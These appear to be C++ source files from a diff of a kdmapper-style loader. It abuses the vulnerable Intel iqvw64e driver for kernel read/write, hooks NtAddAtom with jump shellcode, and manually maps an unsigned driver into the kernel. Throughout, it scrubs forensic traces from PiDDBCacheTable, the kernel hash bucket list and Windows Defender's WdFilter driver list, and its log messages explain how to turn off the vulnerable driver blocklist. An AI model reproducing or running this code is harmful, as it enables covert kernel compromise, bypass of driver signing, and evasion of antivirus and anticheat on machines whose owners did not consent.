USHORT wsNameLen = 0;
if (!read(device_handle, (uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Length), (uint64_t*)&wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
if (expected_len == wsNameLen) {
wchar_t* wsNamePtr = 0;
if (!read(device_handle, (uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Buffer), (uint64_t*)&wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
auto wsName = std::make_unique<wchar_t[]>((ULONG64)wsNameLen / 2ULL + 1ULL);
if (!read(device_handle, (uintptr_t)wsNamePtr, (uint64_t*)wsName.get(), wsNameLen)) {
Log(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
size_t find_result = std::wstring(wsName.get()).find(wdname);
if (find_result != std::wstring::npos) {
Log(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl);
nt::HashBucketEntry* Next = 0;
if (!read(device_handle, (uintptr_t)entry, (uint64_t*)&Next, sizeof(Next))) {
Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
if (!write(device_handle, (uintptr_t)prev, (uint64_t*)&Next, sizeof(Next))) {
Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
if (!FreePool(device_handle, (uintptr_t)entry)) {
Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
return true;
}
}
prev = entry;
//read next
if (!read(device_handle, (uintptr_t)entry, (uint64_t*)&entry, sizeof(entry))) {
Log(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl);
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
}
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
}
return false;
}
bool kd_driver::ClearWdFilterDriverList(HANDLE device_handle)
{
auto WdFilter = utils::GetKernelModule("WdFilter.sys");
if (!WdFilter) {
Log("[+] WdFilter.sys not loaded, clear skipped" << std::endl);
return true;
}
#ifdef PDB_OFFSETS
uintptr_t MpBmDocOpenRules = KDSymbolsHandler::GetInstance()->GetOffset(L"MpBmDocOpenRules");
if (!MpBmDocOpenRules)
{
Log("[-] Failed To Get MpBmDocOpenRules." << std::endl);
return false;
}
MpBmDocOpenRules += WdFilter;
uintptr_t RuntimeDriversList_Head = MpBmDocOpenRules + 0x70;
uintptr_t RuntimeDriversCount = MpBmDocOpenRules + 0x60;
uintptr_t RuntimeDriversArray = MpBmDocOpenRules + 0x68;
read(device_handle, RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t));
uintptr_t MpFreeDriverInfoEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MpFreeDriverInfoEx");
if (!MpFreeDriverInfoEx)
{
Log("[-] Failed To Get MpFreeDriverInfoEx." << std::endl);
return false;
}
MpFreeDriverInfoEx += WdFilter;
#else
auto RuntimeDriversList = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\xFF\x05", "xxx????xx");
if (!RuntimeDriversList) {
Log("[!] Failed to find WdFilter RuntimeDriversList" << std::endl);
return false;
}
auto RuntimeDriversCountRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\xFF\x05\x00\x00\x00\x00\x48\x39\x11", "xx????xxx");
if (!RuntimeDriversCountRef) {
Log("[!] Failed to find WdFilter RuntimeDriversCount" << std::endl);
return false;
}
// MpCleanupDriverInfo->MpFreeDriverInfoEx
// The pattern only focus in the 0x8 offset and the possibility of the different order for the instructions
/*
49 8B C9 mov rcx, r9 ; P
49 89 50 08 mov [r8+8], rdx
E8 FB F0 FD FF call MpFreeDriverInfoEx
48 8B 0D FC AA FA FF mov rcx, cs:qword_1C0021BF0
E9 21 FF FF FF jmp loc_1C007701A
*/
auto MpFreeDriverInfoExRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?xx???????????x");
if (!MpFreeDriverInfoExRef) {
/*
48 89 4A 08 mov [rdx+8], rcx
49 8B C8 mov rcx, r8 ; P
E8 C3 58 FE FF call sub_1C0065308
48 8B 0D 44 41 FA FF mov rcx, cs:qword_1C0023B90
E9 39 FF FF FF jmp loc_1C007F98A */
MpFreeDriverInfoExRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\x00\x00\x00\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?x???x???????????x");
if (!MpFreeDriverInfoExRef) {
Log("[!] Failed to find WdFilter MpFreeDriverInfoEx" << std::endl);
return false;
}
else {
Log("[+] Found WdFilter MpFreeDriverInfoEx with second pattern" << std::endl);
}
MpFreeDriverInfoExRef += 0x3; // adjust for next sum offset
}
MpFreeDriverInfoExRef += 0x3; // skip until call instruction
RuntimeDriversList = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)RuntimeDriversList, 3, 7);
uintptr_t RuntimeDriversList_Head = RuntimeDriversList - 0x8;
uintptr_t RuntimeDriversCount = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)RuntimeDriversCountRef, 2, 6);
uintptr_t RuntimeDriversArray = RuntimeDriversCount + 0x8;
read(device_handle, RuntimeDriversArray, (uint64_t*)&RuntimeDriversArray, sizeof(uintptr_t));
uintptr_t MpFreeDriverInfoEx = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)MpFreeDriverInfoExRef, 1, 5);
#endif
auto ReadListEntry = [&](uintptr_t Address) -> LIST_ENTRY* { // Useful lambda to read LIST_ENTRY
LIST_ENTRY* Entry;
if (!read(device_handle, Address, (uint64_t*)&Entry, sizeof(LIST_ENTRY*))) return 0;
return Entry;
};
for (LIST_ENTRY* Entry = ReadListEntry(RuntimeDriversList_Head);
Entry != (LIST_ENTRY*)RuntimeDriversList_Head;
Entry = ReadListEntry((uintptr_t)Entry + (offsetof(struct _LIST_ENTRY, Flink))))
{
UNICODE_STRING Unicode_String;
if (read(device_handle, (uintptr_t)Entry + 0x10, (uint64_t*)&Unicode_String, sizeof(UNICODE_STRING))) {
auto ImageName = std::make_unique<wchar_t[]>((ULONG64)Unicode_String.Length / 2ULL + 1ULL);
if (read(device_handle, (uintptr_t)Unicode_String.Buffer, (uint64_t*)ImageName.get(), Unicode_String.Length)) {
if (wcsstr(ImageName.get(), kd_driver::GetDriverNameW().c_str())) {
//remove from RuntimeDriversArray
bool removedRuntimeDriversArray = false;
PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10);
for (int k = 0; k < 256; k++) { // max RuntimeDriversArray elements
PVOID value = 0;
read(device_handle, RuntimeDriversArray + (k * 8), (uint64_t*)&value, sizeof(PVOID));
if (value == SameIndexList) {
PVOID emptyval = (PVOID)(RuntimeDriversCount + 1); // this is not count+1 is position of cout addr+1
write(device_handle, RuntimeDriversArray + (k * 8), (uint64_t*)&emptyval, sizeof(PVOID));
removedRuntimeDriversArray = true;
break;
}
}
if (!removedRuntimeDriversArray) {
Log("[!] Failed to remove from RuntimeDriversArray" << std::endl);
return false;
}
auto NextEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Flink)));
auto PrevEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Blink)));
write(device_handle, uintptr_t(NextEntry) + (offsetof(struct _LIST_ENTRY, Blink)), (uint64_t*)&PrevEntry, sizeof(LIST_ENTRY::Blink));
write(device_handle, uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), (uint64_t*)&NextEntry, sizeof(LIST_ENTRY::Flink));
// decrement RuntimeDriversCount
ULONG current = 0;
read(device_handle, RuntimeDriversCount, (uint64_t*)&current, sizeof(ULONG));
current--;
write(device_handle, RuntimeDriversCount, (uint64_t*)&current, sizeof(ULONG));
// call MpFreeDriverInfoEx
uintptr_t DriverInfo = (uintptr_t)Entry - 0x20;
//verify DriverInfo Magic
USHORT Magic = 0;
read(device_handle, DriverInfo, (uint64_t*)&Magic, sizeof(USHORT));
if (Magic != 0xDA18) {
Log("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent bsod" << std::endl);
}
else {
func_call<void>(device_handle, (void*)MpFreeDriverInfoEx, nullptr, DriverInfo);
}
Log("[+] WdFilterDriverList Cleaned: " << ImageName << std::endl);
return true;
}
}
}
}
return false;
}
+108
View File
@@ -0,0 +1,108 @@
#pragma once
#include "drv.h"
#include "ntstruct.h"
#include "..\XorStr.h"
using namespace std;
#define IOCTL_MMCOPY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9512, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_MMCOPYEX CTL_CODE(FILE_DEVICE_UNKNOWN, 0x9513, METHOD_BUFFERED, FILE_ANY_ACCESS)
namespace kd_driver
{
extern HANDLE iqvw64e_device_handle;
extern uint64_t ntoskrnlbase;
constexpr DWORD iqvw64e_timestamp = 0x5284EAC3;
std::wstring GetDriverPath();
std::wstring GetDriverNameW();
bool AcquireDebugPrivilege();
bool Load();
bool Unload();
bool MmCopy(HANDLE device_handle, uint64_t Base, uint64_t Buffer, SIZE_T Size);
bool read(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size);
bool write(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size);
bool writeEx(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size);
bool MdlIoSpace(HANDLE device_handle, uint64_t address, uint64_t* Buffer, SIZE_T Size);
uint64_t get_kernel_module_export(HANDLE device_handle, uint64_t ker_base, const char* func_name);
uint64_t ExAllocatePool(HANDLE device_handle, BYTE pool_type, SIZE_T size);
bool FreePool(HANDLE device_handle, uint64_t address);
nt::PiDDBCacheEntry* LookupEntry(HANDLE device_handle, nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name);
PVOID RtlLookupElementGenericTableAvl(HANDLE device_handle, nt::PRTL_AVL_TABLE Table, PVOID Buffer);
BOOLEAN RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer);
uintptr_t FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
uintptr_t FindSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, PULONG size);
uintptr_t FindPatternInSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask);
PVOID ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize);
bool ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait);
bool ExReleaseResourceLite(HANDLE device_handle, PVOID Resource);
bool ClearPiDDBCacheTable(HANDLE device_handle);
bool ClearMmUnloadedDrivers(HANDLE device_handle);
bool ClearKernelHashBucketList(HANDLE device_handle);
bool ClearWdFilterDriverList(HANDLE device_handle);
template<typename T, typename ...A>
bool func_call(HANDLE device_handle, void* func, T* out, const A...arg)
{
constexpr auto call_void = std::is_same_v<T, void>;
if constexpr (!call_void) {
if (!out)
return false;
}
else {
UNREFERENCED_PARAMETER(out);
}
const auto ntdll = GetModuleHandleA("ntdll.dll");
const auto ntaddrom = reinterpret_cast<void*>(GetProcAddress(ntdll, ("NtAddAtom")));
char jmp_shellcode[] = { (char)0x48, (char)0xb8, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,(char)0x00, (char)0xff, (char)0xe0 };
char original_func[sizeof(jmp_shellcode)];
*(uint64_t*)&jmp_shellcode[2] = (uint64_t)func;
uint64_t ker_NtAddatom = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("NtAddAtom"));
read(device_handle, ker_NtAddatom, (uint64_t*)&original_func, sizeof(jmp_shellcode));
if (!writeEx(device_handle, ker_NtAddatom, (uint64_t*)&jmp_shellcode, sizeof(jmp_shellcode)))
{
//printf("write fail\n");
return 0;
}
if constexpr (!call_void) {
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(ntaddrom);
*out = Function(arg...);
}
else {
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(ntaddrom);
Function(arg...);
}
return writeEx(device_handle, ker_NtAddatom, (uint64_t*)&original_func, sizeof(jmp_shellcode));
}
}
+116
View File
@@ -0,0 +1,116 @@
#include "kdmapper.h"
BOOL kdmapper::MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base)
{
const auto pdos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(map_base);
const auto pNT_header = reinterpret_cast<PIMAGE_NT_HEADERS>(map_base + pdos_header->e_lfanew);
auto image_size = pNT_header->OptionalHeader.SizeOfImage;
auto map_image_base = reinterpret_cast<char*>(VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
if (!map_image_base)
{
//printf("vritualalloc fail!!\n");
return false;
}
//image_size = image_size - TotalVirtualHeaderSize;
auto kernel_base = kd_driver::ExAllocatePool(device_handle, 0, image_size);
if (!kernel_base)
{
//printf("[-] ExAllocatePool fail\n");
return false;
}
//写入pe头
memcpy(map_image_base, map_base, pNT_header->OptionalHeader.SizeOfHeaders);
//节区拉伸
const auto section_header = IMAGE_FIRST_SECTION(pNT_header);
for (size_t i = 0; i < pNT_header->FileHeader.NumberOfSections; i++)
{
auto section_virtual = reinterpret_cast<char*>(map_image_base + section_header[i].VirtualAddress);
memcpy(section_virtual, reinterpret_cast<char*>(map_base + section_header[i].PointerToRawData), section_header[i].SizeOfRawData);
}
//修复重定位表
//auto PReloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(map_image_base + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
auto current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(map_image_base) + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
const auto reloc_end = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG64>(current_base_relocation) + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
while (current_base_relocation < reloc_end && current_base_relocation->SizeOfBlock)
{
WORD* NumOfBlock = (WORD*)(current_base_relocation + 1);
for (size_t i = 0; i < (current_base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2; i++)
{
if (NumOfBlock[i] >> 12 == IMAGE_REL_BASED_DIR64)
{
auto RelocAddr = reinterpret_cast<uint64_t*>((char*)map_image_base + (NumOfBlock[i] & 0xFFF) + current_base_relocation->VirtualAddress);
*RelocAddr -= pNT_header->OptionalHeader.ImageBase;
*RelocAddr += (DWORD64)kernel_base;
}
}
current_base_relocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD64>(current_base_relocation) + current_base_relocation->SizeOfBlock);
}
//修复加载配置
auto load_config_directory = pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
if (load_config_directory) //有些驱动并没有加载表 如果没有就不用修复了
{
auto load_config_struct = (PIMAGE_LOAD_CONFIG_DIRECTORY)((uintptr_t)map_image_base + load_config_directory);
auto stack_cookie = load_config_struct->SecurityCookie;
stack_cookie = stack_cookie - (uintptr_t)kernel_base + (uintptr_t)map_image_base; //since our local image is already relocated the base returned will be kernel address
if (*(uintptr_t*)(stack_cookie) != 0x2B992DDFA232)
return false;
auto new_cookie = 0x2B992DDFA232 ^ GetCurrentProcessId() ^ GetCurrentThreadId(); // here we don't really care about the value of stack cookie, it will still works and produce nice result
if (new_cookie == 0x2B992DDFA232)
new_cookie = 0x2B992DDFA233;
*(uintptr_t*)(stack_cookie) = new_cookie; // the _security_cookie_complement will be init by the driver itself if they use crt
}
//修复导入表
auto pimpor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(map_image_base + pNT_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pimpor->Name)
{
const auto Module = utils::GetKernelModule((char*)map_image_base + pimpor->Name);
auto Int = reinterpret_cast<PIMAGE_THUNK_DATA>(map_image_base + pimpor->OriginalFirstThunk);
auto Iat = reinterpret_cast<PIMAGE_THUNK_DATA>(map_image_base + pimpor->FirstThunk);
while (Int->u1.AddressOfData && Iat->u1.AddressOfData)
{
if (!IMAGE_SNAP_BY_ORDINAL(Int->u1.AddressOfData))
{
auto Names = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(map_image_base + Int->u1.AddressOfData);
Iat->u1.AddressOfData = kd_driver::get_kernel_module_export(device_handle, ker_base, Names->Name);
}
Int++; Iat++;
}
pimpor++;
}
kd_driver::write(device_handle, (uint64_t)kernel_base, (uint64_t*)map_image_base, image_size);
auto entrypoint = kernel_base + pNT_header->OptionalHeader.AddressOfEntryPoint;
NTSTATUS status = 0;
kd_driver::func_call(device_handle, (void*)entrypoint, &status, 0, 0);
//DWORD64 imagehead = 0;
//kd_driver::write(device_handle, kernel_base, &imagehead, pNT_header->OptionalHeader.SizeOfHeaders);
VirtualFree(map_image_base, 0, MEM_RELEASE);
return true;
}
+10
View File
@@ -0,0 +1,10 @@
#pragma once
#include "kd_driver.h"
#include "utils.h"
namespace kdmapper
{
BOOL MapDriver(HANDLE device_handle, uint64_t ker_base, char* map_base);
}
+109
View File
@@ -0,0 +1,109 @@
#include "ntstruct.h"
bool nt::RegisterAndStart(const std::wstring& driver_path, const std::wstring& serviceName) {
const static DWORD ServiceTypeKernel = 1;
const std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" + serviceName;
const std::wstring nPath = L"\\??\\" + driver_path;
HKEY dservice;
LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
if (status != ERROR_SUCCESS) {
Log("[-] Can't create service key" << std::endl);
return false;
}
status = RegSetKeyValueW(dservice, NULL, L"ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)(nPath.size() * sizeof(wchar_t)));
if (status != ERROR_SUCCESS) {
RegCloseKey(dservice);
Log("[-] Can't create 'ImagePath' registry value" << std::endl);
return false;
}
status = RegSetKeyValueW(dservice, NULL, L"Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
if (status != ERROR_SUCCESS) {
RegCloseKey(dservice);
Log("[-] Can't create 'Type' registry value" << std::endl);
return false;
}
RegCloseKey(dservice);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL) {
return false;
}
//auto RtlAdjustPrivilege = (nt::RtlAdjustPrivilege)GetProcAddress(ntdll, "RtlAdjustPrivilege");
//auto NtLoadDriver = (nt::NtLoadDriver)GetProcAddress(ntdll, "NtLoadDriver");
ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL;
BOOLEAN SeLoadDriverWasEnabled;
NTSTATUS Status = nt::RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE, FALSE, &SeLoadDriverWasEnabled);
if (!NT_SUCCESS(Status)) {
Log("Fatal error: failed to acquire SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator." << std::endl);
return false;
}
std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + serviceName;
UNICODE_STRING serviceStr;
RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str());
Status = nt::NtLoadDriver(&serviceStr);
Log("[+] NtLoadDriver Status 0x" << std::hex << Status << std::endl);
if (Status == 0xC0000603) { //STATUS_IMAGE_CERT_REVOKED
Log("[-] Your vulnerable driver list is enabled and have blocked the driver loading, you must disable vulnerable driver list to use kdmapper with intel driver" << std::endl);
Log("[-] Registry path to disable vulnerable driver list: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config" << std::endl);
Log("[-] Set 'VulnerableDriverBlocklistEnable' as dword to 0" << std::endl);
}
else if (Status == 0xC0000022 || Status == 0xC000009A) { //STATUS_ACCESS_DENIED and STATUS_INSUFFICIENT_RESOURCES
Log("[-] Access Denied or Insufficient Resources (0x" << std::hex << Status << "), Probably some anticheat or antivirus running blocking the load of vulnerable driver" << std::endl);
}
//Never should occur since kdmapper checks for "IsRunning" driver before
if (Status == 0xC000010E) {// STATUS_IMAGE_ALREADY_LOADED
return true;
}
return NT_SUCCESS(Status);
}
bool nt::StopAndRemove(const std::wstring& serviceName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return false;
std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + serviceName;
UNICODE_STRING serviceStr;
RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str());
HKEY driver_service;
std::wstring servicesPath = L"SYSTEM\\CurrentControlSet\\Services\\" + serviceName;
LSTATUS status = RegOpenKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service);
if (status != ERROR_SUCCESS) {
if (status == ERROR_FILE_NOT_FOUND) {
return true;
}
return false;
}
RegCloseKey(driver_service);
NTSTATUS st = nt::NtUnloadDriver(&serviceStr);
Log("[+] NtUnloadDriver Status 0x" << std::hex << st << std::endl);
if (st != ERROR_SUCCESS) {
Log("[-] Driver Unload Failed!!" << std::endl);
status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
return false; //lets consider unload fail as error because can cause problems with anti cheats later
}
status = RegDeleteTreeW(HKEY_LOCAL_MACHINE, servicesPath.c_str());
if (status != ERROR_SUCCESS) {
return false;
}
return true;
}
+145
View File
@@ -0,0 +1,145 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <stdint.h>
#include <fstream>
#include <string>
#pragma comment(lib, "ntdll.lib")
#define DEBUG_PRINTF 0
#if DEBUG_PRINTF
#define Log(content) std::wcout << content
#else
#define Log(content)
#endif // 0
namespace nt
{
EXTERN_C NTSTATUS RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN Client, BOOLEAN* WasEnabled);
EXTERN_C NTSTATUS NtLoadDriver(PUNICODE_STRING DriverServiceName);
EXTERN_C NTSTATUS NtUnloadDriver(PUNICODE_STRING DriverServiceName);
constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemExtendedHandleInformation = 64;
bool RegisterAndStart(const std::wstring& driver_path, const std::wstring& serviceName);
bool StopAndRemove(const std::wstring& serviceName);
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _RTL_BALANCED_LINKS {
struct _RTL_BALANCED_LINKS* Parent;
struct _RTL_BALANCED_LINKS* LeftChild;
struct _RTL_BALANCED_LINKS* RightChild;
CHAR Balance;
UCHAR Reserved[3];
} RTL_BALANCED_LINKS;
typedef RTL_BALANCED_LINKS* PRTL_BALANCED_LINKS;
typedef struct _RTL_AVL_TABLE {
RTL_BALANCED_LINKS BalancedRoot;
PVOID OrderedPointer;
ULONG WhichOrderedElement;
ULONG NumberGenericTableElements;
ULONG DepthOfTree;
PVOID RestartKey;
ULONG DeleteCount;
PVOID CompareRoutine;
PVOID AllocateRoutine;
PVOID FreeRoutine;
PVOID TableContext;
} RTL_AVL_TABLE;
typedef RTL_AVL_TABLE* PRTL_AVL_TABLE;
typedef struct _PiDDBCacheEntry
{
LIST_ENTRY List;
UNICODE_STRING DriverName;
ULONG TimeDateStamp;
NTSTATUS LoadStatus;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
} PiDDBCacheEntry, * NPiDDBCacheEntry;
typedef struct _HashBucketEntry
{
struct _HashBucketEntry* Next;
UNICODE_STRING DriverName;
ULONG CertHash[5];
} HashBucketEntry, * PHashBucketEntry;
}
typedef struct _CALC_VERIFY
{
int a, b, c, d;
ULONG64 calc_val;
}CALC_VERIFY,*PCALC_VERIFY;
typedef struct COMM_INFO
{
uintptr_t case_number;
uintptr_t reserved;
uintptr_t source;
uintptr_t destination;
uintptr_t length;
PCALC_VERIFY Verify;
}COMM_INFO, * PCOMM_INFO;
typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved;
uint64_t return_physical_address;
uint64_t address_to_translate;
}GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO;
typedef struct _MAP_IO_SPACE_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved;
uint64_t return_value;
uint64_t return_virtual_address;
uint64_t physical_address_to_map;
uint32_t size;
}MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO;
typedef struct _UNMAP_IO_SPACE_BUFFER_INFO
{
uint64_t case_number;
uint64_t reserved1;
uint64_t reserved2;
uint64_t virt_address;
uint64_t reserved3;
uint32_t number_of_bytes;
}UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO;
+147
View File
@@ -0,0 +1,147 @@
#include "utils.h"
auto utils::GetKernelModule(const std::string& module_name) -> uint64_t
{
void* buffer = nullptr;
DWORD buffer_size = 0;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == nt::STATUS_INFO_LENGTH_MISMATCH) {
if (buffer != nullptr)
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status)) {
if (buffer != nullptr)
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
if (!modules)
return 0;
for (auto i = 0u; i < modules->NumberOfModules; ++i) {
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name.c_str()))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[i].ImageBase);
VirtualFree(buffer, 0, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
BOOLEAN utils::bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) {
for (; *szMask; ++szMask, ++pData, ++bMask)
if (*szMask == 'x' && *pData != *bMask)
return 0;
return (*szMask) == 0;
}
uintptr_t utils::FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask)
{
size_t max_len = dwLen - strlen(szMask);
for (uintptr_t i = 0; i < max_len; i++)
if (bDataCompare((BYTE*)(dwAddress + i), bMask, szMask))
return (uintptr_t)(dwAddress + i);
return 0;
}
PVOID utils::FindSection(const char* sectionName, uintptr_t modulePtr, PULONG size) {
size_t namelength = strlen(sectionName);
PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)(modulePtr + ((PIMAGE_DOS_HEADER)modulePtr)->e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(headers);
for (DWORD i = 0; i < headers->FileHeader.NumberOfSections; ++i) {
